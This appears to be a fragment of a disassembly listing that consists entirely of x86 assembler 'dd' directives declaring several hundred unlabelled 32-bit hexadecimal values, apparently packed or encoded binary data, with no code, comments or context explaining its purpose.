		dd 0B99D330Bh, 71C15E21h, 4F5FC2A0h, 6EE4067h, 0AB07183Eh
		dd 860F8C90h, 41F9132Eh, 26366B80h, 0E307E682h,	396AD008h
		dd 6EEF0224h, 0C8370069h, 0DB36965Eh, 117D9D51h, 0AEFC8109h
		dd 3251244h, 0D603AF5Bh, 0B4504C9Ah, 13B46EAEh,	97BC8ADDh
		dd 5B872380h, 46BBEAE6h, 0C2146630h, 0BC7B4AE9h, 42DCE2D9h
		dd 8F6D5FB3h, 0BFCDC6E0h, 0D0D713AFh, 0B80CBD36h, 19860215h
		dd 4E9F1129h, 107A0257h, 60295C6Dh, 5090FA8Bh, 4EFD6058h
		dd 1ED391E8h, 761D6F1h,	5912B7EDh, 6DCF0275h, 0FF880935h
		dd 0A2601738h, 0A6C00F5h, 49CBC3D2h, 67C404F7h,	0EF8AD4AEh
		dd 31350EC1h, 125C6102h, 7BBF2Dh, 117A0EC7h, 58250BCAh
		dd 0B529CC09h, 0E1209870h, 0B9660408h, 0B8611D3Eh, 7EC0D20Fh
		dd 0F96ADFA4h, 0FB5D3093h, 2FC53621h, 0A23DF72Fh, 0C4045C46h
		dd 0BD2B4128h, 860C1EB9h, 27BF0484h, 162C5ACBh,	92A1448h
		dd 3B5871E4h, 0DCCD2F4Ah, 3D2C2CE2h, 432A2541h,	235D9DE1h
		dd 0DD89124Ah, 0A92CD031h, 0A6445280h, 0B2180FE6h, 75469342h
		dd 0E7919526h, 3F1E3133h, 65B5A445h, 0F3A88AD4h, 2BB2F04Fh
		dd 16516FC4h, 0EDF1BB00h, 0D1F60C24h, 43023D92h, 598D0938h
		dd 5A88A933h, 30C28810h, 95890B2Ah, 0BA93188Dh,	22C20D8Eh
		dd 564588C7h, 3AF81DE1h, 0C1D5AC5Bh, 28F70DF0h,	3BA15929h
		dd 0BB32ED0h, 0E9F4B306h, 90D0F5Eh, 7B2DA585h, 580CE23Bh
		dd 0C9E25F6Dh, 0A7C4B780h, 4003BA36h, 65D6064h,	56EBBA63h
		dd 99C627F3h, 248D4695h, 27EDF81h, 0A583676Bh, 0A2FE3384h
		dd 5B48FDh, 0BAD76379h,	5A4AE77h, 14BCB2D9h, 8590086Fh
		dd 0F6F54CA5h, 98D082F1h, 6094CFB7h, 0E763BB66h, 6411ED95h
		dd 0C8FF6418h, 8B49B992h, 0E6844A39h, 72F537EAh, 0ED5DC02Bh
		dd 80B8C57Dh, 0EB50D874h, 458F3150h, 0BB021441h, 2BF2505h
		dd 0BA691CEEh, 91019F57h, 0A4B28117h, 93202F2Dh, 2A0241F9h
		dd 802EF73Dh, 2C0CEB31h, 31258E90h, 2CD66517h, 3304D682h
		dd 845CAFC5h, 598020BCh, 0BC6D50AAh, 85E43900h,	2D40B921h
		dd 0FDC10053h, 0B12F07Bh, 17E2BD89h, 66EBBA95h,	7D4800DAh
		dd 0FAB15CAAh, 3F25F519h, 62A55CF9h, 25C5F51h, 5908B968h
		dd 0E345250Dh, 40916DE9h, 51AB9749h, 7210BFA3h,	0BF022681h
		dd 0F31D0DEh, 3C51AF56h, 3699AB14h, 768BB26Bh, 5E225125h
		dd 9745A3Ch, 662C58D4h,	2DF3E128h, 0BDBB1FA1h, 4559319h
		dd 282BDE89h, 1FD26180h, 549A441Ah, 27B67380h, 3E0A48Dh
		dd 13B36F0Ah, 0D89F0ECh, 5830819h, 0F827EE82h, 600B0484h
		dd 1BD2FFD8h, 0F1397DA1h, 0FE0732B8h, 0ACB5CCDAh, 0F908948Ah
		dd 0B15B120Ch, 0F9B6E8Ah, 869CED96h, 1F0FE9h, 64E10DE2h
		dd 51537D33h, 7718AA01h, 0F9C9F2FCh, 9597442Bh,	71491301h
		dd 5096571Bh, 12D460BCh, 0B3D2BDD1h, 1D602C98h,	0B8B68763h
		dd 17E073CAh, 557A2A5h,	97B03133h, 6100587Eh, 3076C0BFh
		dd 20905A48h, 0ACBDD3EBh, 0BAF0F309h, 5F61E07Ah, 12DA9850h
		dd 9B90EC10h, 56B280AFh, 2728758Bh, 0ED756AEEh,	329C080h
		dd 0ED252D62h, 42455168h, 86CC5250h, 5A3111C3h,	0CC085F58h
		dd 7900062Ch, 2C6DC0D7h, 4A562030h, 50450C5Bh, 99BF8139h
		dd 2547D9CBh, 5A609B6Ch, 3D07C856h, 19F1720Fh, 742FA1F2h
		dd 27D0CDBEh, 0E09B3F0Ah, 615F5E85h, 0B09EA8Bh,	1E0AC4F1h
		dd 40248726h, 0AB83019Bh, 5638C79Dh, 8961945Ah,	0C8846436h
		dd 0F74320FBh, 0C4003F2Ah, 0BCF87AEFh, 7109B9Ah, 0D89E2DEDh
		dd 0C74190D5h, 584A613Eh, 63E320E6h, 2AFC1AA1h,	0B7B6EC75h
		dd 0CF80E1A7h, 82332E73h, 72E3E081h, 0E93712A1h, 0F5944939h
		dd 0F8927273h, 11A571AFh, 0B3120A1Ch, 596CE748h, 9EAAC27h
		dd 0A143AFB2h, 8401F6F1h, 6A98A556h, 5DEEFF61h,	66020E37h
		dd 4CCD27C8h, 0BD04A0FEh, 0A22F5A99h, 8014200Fh, 910446FCh
		dd 0BC7F8057h, 0A67417D3h, 96675612h, 0D8CD3FB1h, 13905FDAh
		dd 0EE00631Ah, 0CEE0F697h, 226ACBh, 7E6B9DE7h, 0A7308903h
		dd 80731897h, 68B402D3h, 0C952EC8Fh, 8095EE70h,	0CC17705Fh
		dd 7B59B336h, 0E8BBC09Fh, 0E4B3CD8h, 1AC8649Ah,	1EC9D1C0h
		dd 3853010Eh, 91BD0BB2h, 12943932h, 54EFAF5Dh, 532CDF4Dh
		dd 265F1282h, 0BD121CDAh, 72AF3045h, 48B5618Dh,	58D36F81h
		dd 163014C1h, 64EC0BBBh, 16F4227Ch, 59E61812h, 0B4FC37D0h
		dd 58718513h, 819901AAh, 0C5B962EBh, 0A8282B04h, 6F3BD237h
		dd 12500D4h, 0FFD6D1E5h, 0C9E32780h, 0D4CA5490h, 82B7F61Eh
		dd 8B151F98h, 97FAE4DAh, 5171851Dh, 60D3CD7Ah, 294071D2h
		dd 4076945Fh, 25BC19D3h, 8A495400h, 845BDD3Ch, 894C01E0h
		dd 877578EBh, 0DC6E2B4Dh, 4D07993Ah, 140FEC60h,	0B37CA483h
		dd 0A68AA24Bh, 0B7044D12h, 70F7A273h, 0BCA7246Bh, 0A41F5914h
		dd 0BAAFB35Dh, 0D42DDCB2h, 3A07A6E4h, 35928DE2h, 0BEE49A0h
		dd 2C68959Dh, 1697870Fh, 0CBA4C1BEh, 60B7C1FCh,	0BC4AB500h
		dd 41B0CAB7h, 0B9485A52h, 5C112C5h, 237C6FAFh, 220E021Dh
		dd 7A681923h, 0B64CD8E9h, 9D277AC2h, 965E843Dh,	8A603EC0h
		dd 800F28C1h, 44614C77h, 3517A158h, 8B32406Bh, 8D8996DFh
		dd 0ED17D92Fh, 6016E44Bh, 0FC051338h, 20A61EE3h, 467BEDCCh
		dd 4D27AD21h, 3177E0B1h, 0D0B5D8D2h, 0F6145ACEh, 301BF228h
		dd 177DE383h, 57BF5509h, 85EF7128h, 0B8259529h,	9D330F88h
		dd 7FAD3309h, 18C1ABCh,	350BCDC2h, 6BB4234Fh, 41AD4C2h
		dd 56D1B8F5h, 9CB3F083h, 0BC120073h, 982CF574h,	0B510298Bh
		dd 0C54A18A9h, 0B8A2A9D5h, 0DD9301BAh, 95DE9B58h, 0A1DA2A79h
		dd 0C9C01CC8h, 5E6B91Fh, 5C1253E8h, 9D44C319h, 0A474ABB4h
		dd 2480FAE4h, 0C0562DF7h, 23958501h, 82B61B4Ah,	359D3104h
		dd 2A22AF30h, 87B2AD8h,	4D721C15h, 591060A9h, 5328C2A4h
		dd 6009870Ch, 737054E4h, 0D625A49Ch, 11C5D509h,	448771E3h
		dd 0FA7BEB7Eh, 60A7E505h, 0DADCCC53h, 0EDEE5900h, 38B77CEBh
		dd 0B8D00006h, 0AAEC2D7Bh, 0EF246D95h, 7908B65Ah, 9661000Dh
		dd 3B8684BBh, 0C450222Dh, 38BFF436h, 0B000DE4Ch, 41AB2746h
		dd 320787D4h, 6231CFBBh, 5D965FB2h, 0D8010BB7h,	0EBA5BB19h
		dd 0C89F9A2Eh, 95FC014h, 1E9231B5h, 92673BDh, 0EA71DBB7h
		dd 716D5B25h, 3CF181Dh,	0C23E7019h, 0A7F9AAF5h,	87887AF6h
		dd 9E295A3Dh, 2C809C3Eh, 0D380D602h, 0F9149736h, 0FB953A70h
		dd 0B9D8D34Dh, 0C4025860h
		dd 9CD966A6h, 60185E91h, 0DC3DEF81h, 0C255FD25h, 6B61F5F6h
		dd 3DAA0435h, 0A86329AEh, 0E0ABF11h, 315908E0h,	5791E909h
		dd 1D0AB289h, 0C18B42EBh, 16DCE7DCh, 0E89DEADFh, 0CE2A2508h
		dd 41C7B6C7h, 0DF0B099Eh, 0F188949Bh, 0F800326Bh, 300E7D04h
		dd 0A2902672h, 0D57909BDh, 0BFABC118h, 11682D00h, 36EC5948h
		dd 58904CA1h, 0BC755D36h, 0D26184C9h, 79B7B529h, 9D7889B8h
		dd 60075686h, 0AE91B490h, 0EBFC5E00h, 26A59C2Dh, 0DF810177h
		dd 6C057EDDh, 0F4F8825Bh, 7F071F7Bh, 47D10A01h,	0F38E208Bh
		dd 7984614Bh, 0ECC053DBh, 21B27C78h, 0ED03E87Eh, 8A9089D9h
		dd 0BBB9FDDCh, 9BA45B25h, 0FA9DFB03h, 5E29017h,	9589102Eh
		dd 7B9D1CFEh, 9D038708h, 2560905h, 76CF80E0h, 4DFBEFFh
		dd 0B86F2DEFh, 849FA323h, 3147ABFh, 0D33BBEBAh,	0DFD42764h
		dd 317CD754h, 1008026Ah, 1A862BAAh, 40149404h, 0E8480A62h
		dd 53777513h, 0E5C176ADh, 74CC078Ch, 0DF2DBFFEh, 8452D17h
		dd 0B609AA3Ch, 0B775907Ch, 5E1E28h, 0CB78311Dh,	0FD01C8ECh
		dd 6934F781h, 0C6660446h, 0AE4EE912h, 41FEFD38h, 0E08B767Bh
		dd 3A0933B0h, 5B852BB6h, 0A9F3AB69h, 0B5ACB8E4h, 98951BF2h
		dd 7DFCBB1Eh, 0D93EF7EEh, 76B23BE1h, 4B75A344h,	0A9FBC46Bh
		dd 16D1B8F3h, 96BB5192h, 162554E3h, 9021CCC6h, 25A52D09h
		dd 0F6C98D71h, 8E4ED495h, 0CDF27585h, 0C9B98800h, 5DE1A436h
		dd 5A081D03h, 0AC87BA07h, 81C02AB8h, 7F0916E3h,	0DB6A0D3Eh
		dd 0B797E4DBh, 98884ACAh, 283E0796h, 40D71151h,	5737D8A0h
		dd 0F19FC2B0h, 4816F975h, 0EB271939h, 0E744E8h,	0ABC5A7A9h
		dd 0B82162AFh, 6898B24Bh, 70D98A36h, 7A57F180h,	2E02590h
		dd 0E7971527h, 0B3405638h, 614BF78Bh, 14807981h, 0CAE26013h
		dd 9A636FA0h, 0B403DE58h, 0BBBA1337h, 90ABCC4Ch, 0CDE781EBh
		dd 71E42718h, 4BB7E30Eh, 0ED86928Bh, 7284FF29h,	0FE330B24h
		dd 8C5849DDh, 0C6C38012h, 0E85E89E2h, 3660D8DFh, 3ADB3B85h
		dd 8B22C31Ch, 9A0F7908h, 9A2FCBC3h, 8E5C09C2h, 60B72230h
		dd 0BD7D5BBEh, 0FAC827D7h, 2799200Dh, 2D5A729Dh, 68CC2D1Dh
		dd 1A1967BEh, 1C70F827h, 110E6129h, 6B1EF99Dh, 0F08B9489h
		dd 875C0BF7h, 0DA1D22B2h, 6D853A51h, 0C888B8CAh, 0DF80842Dh
		dd 9276B810h, 0D680CDA8h, 63807E96h, 84824C02h,	0A08758E9h
		dd 48D28110h, 4BE20140h, 34FE8419h, 8EC12BC4h, 0E36B5F5Bh
		dd 63A85B1Ch, 0BC4EBFC0h, 11971D73h, 2B111F88h,	7F622DBDh
		dd 0FE20A550h, 0CD192A0h, 8595D1CAh, 76B9F844h,	1EFBFE82h
		dd 804A37DDh, 0F9119BE1h, 81172969h, 0B6FD7553h, 6D83DF09h
		dd 57CB6E56h, 9D0BA690h, 17147520h, 0A708D3B9h,	4EBCA072h
		dd 0D1DAA078h, 7264952Ah, 0F05636E3h, 0E7EDB0CDh, 7C7EC36Fh
		dd 4BFB9F98h, 81A7045Ah, 6528EDF1h, 9E202BCFh, 946D9D2Bh
		dd 0FB5627C9h, 0C201055Fh, 364FC0CEh, 9D242344h, 90AFDD29h
		dd 0EE4D6BEEh, 0F96400F7h, 0D4749DC6h, 5BE83A88h, 0AF885D4Bh
		dd 94CF0481h, 0F36C0F4Eh, 96564D49h, 3F19B04h, 236E6FABh
		dd 0C5D20118h, 6EED9E28h, 61E5DEE1h, 4A79B37Fh,	0DAD791CBh
		dd 0C9F980BDh, 4E474C76h, 897DB995h, 0C610F7D9h, 0DB003B86h
		dd 601D4FBh, 2D46DC1Fh,	36D76ABh, 957610C0h, 79697221h
		dd 0F45E65F5h, 4AACACDEh, 6D25C9CAh, 1160BDEFh,	92B89833h
		dd 493DBD68h, 0CD3E3500h, 122914AFh, 0F72A119Dh, 0C3F53102h
		dd 4928E1FFh, 59B9049Eh, 0A4ABC083h, 5A000556h,	8061B3D2h
		dd 4BA3752Ch, 7EFA8A88h, 2C7A045Fh, 0D6617100h,	66C13A4Fh
		dd 0B1271798h, 39E6C0Bh, 8D19A2DFh, 2EA8F237h, 5F4B317Ah
		dd 562230CAh, 82939AB5h, 5E16B14Eh, 5DD47336h, 0EDAB78Bh
		dd 6F541192h, 98997DFh,	0FBDCDC74h, 8925AE36h, 571745F9h
		dd 0BA4CFFA3h, 9CFB2578h, 0B79F16E4h, 0A9D8065Ah, 7E13B4B3h
		dd 0B6AD57BEh, 0EF07944Bh, 0F64FD3A8h, 3C50E12Dh, 50498DCCh
		dd 95F88FF1h, 2FF52799h, 7AEA0856h, 938F1D65h, 5A2E874Bh
		dd 6FB79FA2h, 0FC89B10Ch, 9568BDDEh, 580968FFh,	5549C4A0h
		dd 0A3A7CC81h, 897BDEDBh, 0DA570h, 0D206CA5Ah, 5805087h
		dd 75EB1A95h, 0EB3FAF46h, 2EA49FA0h, 0C300C2ACh, 359D928h
		dd 26249785h, 0D64EB861h, 29E97B04h, 231091Dh, 1F4F3D7Dh
		dd 3F770365h, 66FEA44Bh, 5E27D927h, 1846DE4Fh, 0DAC72D02h
		dd 63DE06CBh, 5B52E604h, 0BD8798B9h, 0DB527869h, 166A70D5h
		dd 0D1091402h, 5C15F632h, 0A77D6FB9h, 689EBE8h,	0CA6069ADh
		dd 62097184h, 243DBA34h, 22D59D21h, 0EE9F743Ah,	31826220h
		dd 97EF0477h, 83B5D9C1h, 0BD469F7h, 558045Bh, 2580ED53h
		dd 56B2C2E2h, 0A919DC6Fh, 35640BDEh, 27015143h,	3C4B960Dh
		dd 94C48C92h, 0F5B5574Eh, 38807F28h, 40E72F0Dh,	951D8B74h
		dd 0D8529610h, 0B24ED1E3h, 6A250062h, 0D72FBD3Ch, 7F169D26h
		dd 0C5479097h, 917BA7h,	22499CF1h, 0C8E10984h, 0E62F5878h
		dd 23BD7AD5h, 0FD806B07h, 0A735F3DFh, 1D210281h, 0CAAD6F64h
		dd 1A30C660h, 0C8DCF832h, 0B584745Fh, 48DF864Ch, 20351D9Eh
		dd 1CEC44AAh, 44FC2676h, 3E00E10Ch, 65902C1h, 79EEEB27h
		dd 58D7A12Fh, 3016E3Eh,	8017BF15h, 4E8D9AC2h, 80F970E7h
		dd 3507BF90h, 50683E03h, 0D1BD2B71h, 0C7811D80h, 5CD3DF2Dh
		dd 577A3A9Dh, 7901C5B5h, 350D8D89h, 55A67Fh, 87C41763h
		dd 0FF71A2h, 0ECBFE44Bh, 61B7D35Ch, 0FE78879Bh,	678C00C5h
		dd 0D266A126h, 3309B727h, 7B1925BDh, 181DF944h,	0CB70002Ch
		dd 99BC4D64h, 864F2381h, 9578CD76h, 3D28AA6Fh, 0E910D20Dh
		dd 0A07B1321h, 0D582153Bh, 0F3D2D31Dh, 51DC5079h, 0D827DEB0h
		dd 0C2CB6D5Fh, 2DFEB1D3h, 10187369h, 8C1DFC44h,	0A57D2500h
		dd 3CFF8C3Dh, 0BEC52960h, 651266E3h, 0F2D5F681h, 0E4604D55h
		dd 0E659601Ch, 0EA7D0208h, 0E3ABF9B3h, 6600B4D9h, 5790DCB1h
		dd 16E80193h, 6E7338FAh, 7C74031h, 434841A0h, 8B3D25F4h
		dd 0EBC854E6h, 6350D6FBh, 18CF0186h, 5D74E462h,	3E093EB2h
		dd 80A67334h, 0D4C3EB81h, 17C0C9Ch, 0EE1B5925h,	5D95F83Ah
		dd 9602298Dh, 5AE8BCBFh, 0FE4C0775h, 71F9FB9Bh,	48A53EDFh
		dd 1BBC917Dh, 0DF49008Ch, 81E92FEFh, 0BB15C13h,	30B4E180h
		dd 1D115BB8h, 242739h, 44B6684Ch, 8C25A6BAh, 9F36E63Eh
		dd 0C8939908h, 78138026h, 0BA6B39CDh, 1D67A33Fh, 7CCFAB21h
		dd 1B884237h, 6C2B5E38h, 95A05E4h, 0A64FB3B7h, 4142E04Ch
		dd 9654B20Dh, 4A0269DAh, 0FE5C99E7h, 71B75B2Dh,	0BECE0FFh
		dd 0F2BF4A03h, 0DD8044BAh, 205035C1h, 5EB8D26Dh, 1BDEFF26h
		dd 0C96D7705h, 2D208CCh, 7AF930DBh, 65E26A2h, 4FACBE68h
		dd 88AC2A16h, 0E3DABAB4h, 6AE30682h, 0E0788973h, 0F9223EBCh
		dd 0C81A9ACBh, 1B87C01Dh, 830EF419h, 0AB346E2Ch, 81875BCh
		dd 580BD381h, 0EA0AE439h, 753D5F81h, 5BBE5A00h,	7A2012AFh
		dd 20ABB050h, 0D6B0117Dh, 4007F95Fh, 738BE13Bh,	0AAF0709Ah
		dd 0EED8B102h, 0A952B77Eh, 113DF592h, 8DA54D82h, 0DA35C10Bh
		dd 0EC84352Fh, 0C4B380A2h, 0EAEE2793h, 0D44C03BDh, 29732D60h
		dd 0BD49C1BAh, 7D282F5Fh, 0D88A885Dh, 89519679h, 0A8883F67h
		dd 0EB1C008Ch, 9BF6500Dh, 830084CCh, 8C1043Ch, 12E523CEh
		dd 8C5FF88Ah, 0C200FC08h, 0F235F4BBh, 0EEB77528h, 961527ABh
		dd 58C0866Dh, 166A4C0h
		dd 81E46EBFh, 0EDCA35F7h, 928A6B13h, 8AC4EEA5h,	68B68713h
		dd 80141820h, 843310F3h, 0E0AA8531h, 9A97F57Ch,	40BCD637h
		dd 6F9EDAE0h, 69DE4700h, 6D9D3353h, 8CC4AB17h, 5910DAABh
		dd 0BF34BC45h, 0D554E70Bh, 1F02B51h, 84D7820Ch,	0C60B1F25h
		dd 0C7BFC623h, 0B42BBCCCh, 293EF2BCh, 0D8C9FDA5h, 0BBC36AADh
		dd 501B8E51h, 628B6A1Eh, 0BB186C1h, 91BC3757h, 0CCFE811Ah
		dd 0E4F07199h, 1884BFA6h, 59E41F23h, 376B0927h,	0D8858F82h
		dd 3A98CBA0h, 6A4E5DA7h, 0BFBC86E9h, 7A953901h,	82E10356h
		dd 43FC46B0h, 82B51F8Ch, 55F5AB69h, 0FB4B9DC4h,	5754EF30h
		dd 0B17800E7h, 2670913Eh, 2504EB94h, 0A7078D69h, 5C8096A8h
		dd 28D1BF7Fh, 0C5E6EA5Eh, 923FE54Ah, 7AFED85Eh,	170700E5h
		dd 9DC88C98h, 0A8655A16h, 5E1C270Ch, 0A359C21Eh, 0D76C3A57h
		dd 0C900F8B5h, 353A2B10h, 29EEA058h, 2D65B503h,	24E5B504h
		dd 0A0E5F664h, 160533ECh, 0AF6F6D15h, 0C0A3302Ch, 7C68BB2Fh
		dd 6E907AECh, 7195B570h, 0D62DA488h, 8B536F00h,	0C149BB90h
		dd 50792F30h, 0C4A1544h, 0F04874AAh, 905D5FB4h,	6BECBDFAh
		dd 0EE050462h, 0E8B987E1h, 6FC70035h, 0A4DE8022h, 4A7BB561h
		dd 0E6726E5Ah, 59ED0984h, 110FA15Fh, 782704E8h,	18E925D6h
		dd 4D71EA5Ch, 0DB7E8921h, 6196C045h, 3F03DE0Dh,	224AC99Dh
		dd 6CD51227h, 1C6A0092h, 1487D669h, 0BA0BFA88h,	759D893Ch
		dd 0BC5BD1A4h, 0FAB6D94Bh, 0F0018D6Bh, 0B8008C68h, 7EE41C77h
		dd 0F46D84C6h, 2AD10051h, 0C31BC1C9h, 0B7006050h, 5A59B966h
		dd 4E610B52h, 0E10FF690h, 887EB129h, 0A0083B3h,	9A01E0EFh
		dd 220FA6Eh, 0EC7E4A68h, 51E03B0Dh, 6EB51032h, 9756799Bh
		dd 870F64B0h, 41AFFCBCh, 0D841D63Ah, 0AB0427A1h, 0EF096D63h
		dd 9D2E7079h, 96D00073h, 0CCAF50DCh, 5A284BD9h,	3DD79665h
		dd 0A938073Fh, 2F025B53h, 5B040D19h, 29882EBDh,	49858941h
		dd 0D7811983h, 4C90E3FEh, 0E9BFB061h, 0E6001618h, 85790970h
		dd 89BC055Ah, 0C119582h, 8FACFB31h, 3B216370h, 0B17B1CF8h
		dd 0ECC95F02h, 5E2EEAC6h, 9F91718h, 14D70CA5h, 9D290925h
		dd 0B15C2725h, 69216BEFh, 0E330C189h, 198497FEh, 0A182C1F8h
		dd 0A28C2B23h, 2ADA41BFh, 35197320h, 5E280085h,	1DC5C9F6h
		dd 3F097520h, 7AB6AE79h, 1F312229h, 3D63F29Ch, 857D2D01h
		dd 0F598CCD6h, 97306196h, 6E772892h, 0C714567h,	1800148Ch
		dd 8B1D5EB1h, 1AF80B2Ah, 40D4F147h, 18DC675h, 3336BE0Fh
		dd 2FC819B7h, 8B0B4048h, 79C442E9h, 762B412Fh, 0C233E7EEh
		dd 0CC55160Dh, 2B2745B5h, 0A5C53287h, 7FE1809h,	60604F9Bh
		dd 5A499D09h, 41C3E211h, 0D9D4927Ah, 99B097B8h,	53971F06h
		dd 157E7860h, 188CC80Bh, 81CE3DB9h, 0D6CA0A14h,	44E3E062h
		dd 8F00BBA6h, 1E96B6AAh, 0BC6507Dh, 887941F6h, 0A589B557h
		dd 9074D030h, 635E5F01h, 80C02D2h, 1EBAF0EEh, 0D6B9F758h
		dd 92519E07h, 6CBB3700h, 3D141FCEh, 0C8C81980h,	0B8B5B134h
		dd 0B06E5F72h, 2D02B35Bh, 6337FCh, 63FF1914h, 0F48D5FDh
		dd 0FB34A43h, 144D9D08h, 0BD2DBA1Ch, 0C61980C4h, 18572F3Dh
		dd 260F9A09h, 69947BD9h, 0D549A04Dh, 92600B84h,	81071571h
		dd 0D0A7FB50h, 12849039h, 0BD235DB5h, 8C17B839h, 363B7309h
		dd 0BBD460F6h, 34184FF2h, 3B20EBCFh, 4D19E2h, 6E939D1Fh
		dd 10685611h, 0BBD1F000h, 122004BDh, 0E1525B5Bh, 0ECD5D6D9h
		dd 7E9198h, 0ACDF109Dh,	0E2009F95h, 0EEE5FC40h,	1668AA81h
		dd 0AF70B3F4h, 3E509D2Eh, 823041E9h, 0AB47A3BCh, 514E5E7Dh
		dd 489E7B6Eh, 0F303C8C0h, 33014E99h, 23CBB14Fh,	0BF54819Dh
		dd 1DA8C1BDh, 0FA788Ch,	0DBBF29CFh, 585FBA6Fh, 0FE4E8998h
		dd 0B62A49A1h, 599D134Ah, 0E1FF7F47h, 1939E4CFh, 8E4938AFh
		dd 0C5B1618Ah, 113B1C2h, 0E62B9602h, 0A9BF04D4h, 0BC555B17h
		dd 5F48A21Ch, 0BC60ECCFh, 5A0741FCh, 5724846Bh,	0B86FBFD3h
		dd 0A9215500h, 0C8BA6E5Ah, 3DB5091Ah, 255E5C53h, 8D0F5244h
		dd 0E246C2C9h, 57F5F0B4h, 0D6D5382h, 3EBC5F24h,	92F01156h
		dd 0B201D020h, 4516BD2Dh, 857FB362h, 9788ABFFh,	0DDC2E1FFh
		dd 9D89CE37h, 543155D4h, 3A342FF8h, 817A8CFAh, 0C9E1DF04h
		dd 0F0AF7232h, 5BB8950h, 6A9EC927h, 32BC4A6Dh, 0EDA19050h
		dd 4DA8024Ah, 3941BBE0h, 50027DB0h, 2B20FABFh, 895C5661h
		dd 0CE9B820Fh, 0D424EF85h, 3531D8AAh, 7D605525h, 1520C512h
		dd 0A0FE583Ah, 40CDE07h, 61125E91h, 904C5A5Bh, 987B80BCh
		dd 5E8D0B76h, 9A75BA81h, 58FD04C9h, 95349CE0h, 0B0A1506Eh
		dd 53123F25h, 0F1252E3h, 0C18898Fh, 0CF0181AEh,	1AFBCA76h
		dd 7228FCE9h, 8DB5290Eh, 0D23CF272h, 20A812A9h,	6D101B04h
		dd 37BCD17Ch, 180EA74Fh, 2F54A747h, 99740070h, 0F4B48549h
		dd 6A05873Ch, 0CF2C7206h, 0B1000AF2h, 75F730B9h, 0ED00C8FCh
		dd 82B2E55h, 9786E88h, 5F49BD9Eh, 5B9F617Ah, 0C5F9D02Ch
		dd 4B02CD7Dh, 99BD01EBh, 4210552Ch, 99978CBEh, 0B5D8316Ah
		dd 22B88409h, 44DD284Bh, 6BEC32Eh, 4462909h, 0C4FC1896h
		dd 9A67EE3h, 0CFC0696Eh, 2D7C6188h, 0AE74C812h,	44134960h
		dd 63BF2C41h, 0B8501262h, 0C844BF8h, 0A37BABh, 0AFE8C2E3h
		dd 9119EFF9h, 69646999h, 0DFED5A00h, 66FD3AA3h,	8F6000A6h
		dd 4DB3FE3Dh, 6E05F121h, 53502867h, 0AD80CAE8h,	2E737809h
		dd 0CFF39900h, 8C3492Fh, 54AC0430h, 895B88B6h, 705278BFh
		dd 0BB36000h, 6EB96653h, 0A2594B09h, 7329487Bh,	4FBF6688h
		dd 61FD4455h, 0C0CBEB24h, 34AC3D59h, 4D68E913h,	0FFF54A16h
		dd 0BF22802Bh, 0C2F8614h, 4BD2D81Ch, 9739E9FAh,	0D9A113B6h
		dd 0F8C2F827h, 64AA4D97h, 0B92F601Dh, 895703D6h, 293B1CFCh
		dd 944231DAh, 0DD60164Ah, 6BB361DBh, 5681B78h, 0FC6B2B7Fh
		dd 7692BB66h, 0C23DD761h, 0B6821491h, 2F5C7CB3h, 7B3F5A51h
		dd 982A07BEh, 79D92229h, 9D2B824Bh, 0E9020971h,	0CBDF744h
		dd 6B5ED780h, 2AC9441h,	8529BC78h, 5D5E2B61h, 0C0D64977h
		dd 7AFA1713h, 57E20200h, 5EF62DF5h, 0FBC5141h, 59C215C8h
		dd 9A0A4529h, 0CDF75492h, 43AFEF78h, 1488DEC0h,	0F526838Bh
		dd 9A6474E1h, 92CAAAh, 38C9F333h, 98F9FD8h, 9D89F582h
		dd 0C3A451DEh, 0FC597C27h, 0E69D1802h, 0F7BD4C34h, 9CA4008h
		dd 5E7B16A1h, 2D8873A5h, 2B415DF0h, 0E74A5938h,	596A4B6Ch
		dd 8994A94Bh, 60277CEEh, 0B9A53140h, 80BB8C3Eh,	612D2EFFh
		dd 4CE633Ah, 31371244h,	60B59896h, 8BE58A02h, 695061C8h
		dd 0C82FD01Ch, 0C53EB75Bh, 8A54823Bh, 40D8BE59h, 0FEE64Dh
		dd 78355A26h, 6151458Fh, 0D9DB964Ah, 0CC493E80h, 50B7E5D2h
		dd 0F2BB0589h, 811A9DCAh, 4A03251Ch, 12B158E2h,	6FAE1391h
		dd 1D234Ah, 305C9BA6h, 0CD0B8F70h, 5D2BA876h, 0CFD7CA1Ah
		dd 0CC26345h, 4811EFE8h, 7061872Dh, 0B40F3562h,	0AE6684DCh
		dd 1C23C96Fh, 933F8F01h, 946EC130h, 0DDBCB833h,	25D674AFh
		dd 7B6BC471h, 6A485096h, 0D4FC0101h, 0B376C6D0h, 985A5A2Ch
		dd 212D8DDEh, 519F7B35h, 799F1817h, 0E747480Ch,	122BAD10h
		dd 0D0F0F88Ah, 5A3DF60Bh, 4C99F725h, 205D161Fh,	439E6FBAh
		dd 96FF0078h, 6BE7E0E5h, 7C4E2D18h, 91298C6h, 8DC9B9BDh
		dd 0F8E98D6Bh, 4D8AC595h, 601BC442h, 0E41FA5A7h, 0F8BD1787h
		dd 0FAF2C539h, 9CC1CD9Eh
		dd 2E952939h, 880FBAD1h, 0FC4A0206h, 0B5DF2BB0h, 1FFCA0E2h
		dd 2F7F01DCh, 91BF6639h, 0FE82598Bh, 78006CF1h,	982E301Ah
		dd 838D00ADh, 877BDAD7h, 76256C23h, 1788E65Fh, 82AD8D09h
		dd 775EFC4Ah, 1103C51h,	0DBC1995h, 0F4BB9600h, 317789D4h
		dd 0F8D85650h, 29EDF25Bh, 91FB86E0h, 62790B0Bh,	9AD554BBh
		dd 0CB955DACh, 9CBA5944h, 59FACADh, 74AF2095h, 0F6D0129Ch
		dd 301CB2D1h, 520013AFh, 70C56A64h, 5F89964Ah, 0BC439495h
		dd 9EBD7D6h, 96D7307Fh,	92D2792h, 5D728C5Eh, 0B7F7D1CAh
		dd 5E7A1871h, 0E5B52D29h, 2035A5BBh, 9BAF1A03h,	0B2D3F8D7h
		dd 6DCE2515h, 0E8D5FE92h, 256B5BB2h, 77E3F4CCh,	0C64EDB7Ah
		dd 0F1E8D5A9h, 0C2CBCA4Bh, 0F137E912h, 0B8EE2DB9h, 17E8757Fh
		dd 0F8669821h, 902F2047h, 2CB9259Ah, 6DA5EF79h,	8A9A4037h
		dd 1C018BAFh, 5233E7B8h, 13338F0Fh, 603F5F2Eh, 2EDE7298h
		dd 0FB00B2E4h, 63D86C2Dh, 986BCA4h, 0EBE2A092h,	0F3B719D0h
		dd 2705D8E1h, 0E21A002h, 0C0FC1AACh, 4ECBF3AAh,	5EE2BC26h
		dd 58D19A27h, 0B9E4375Ah, 0F01A04B8h, 0E479257Bh, 47781317h
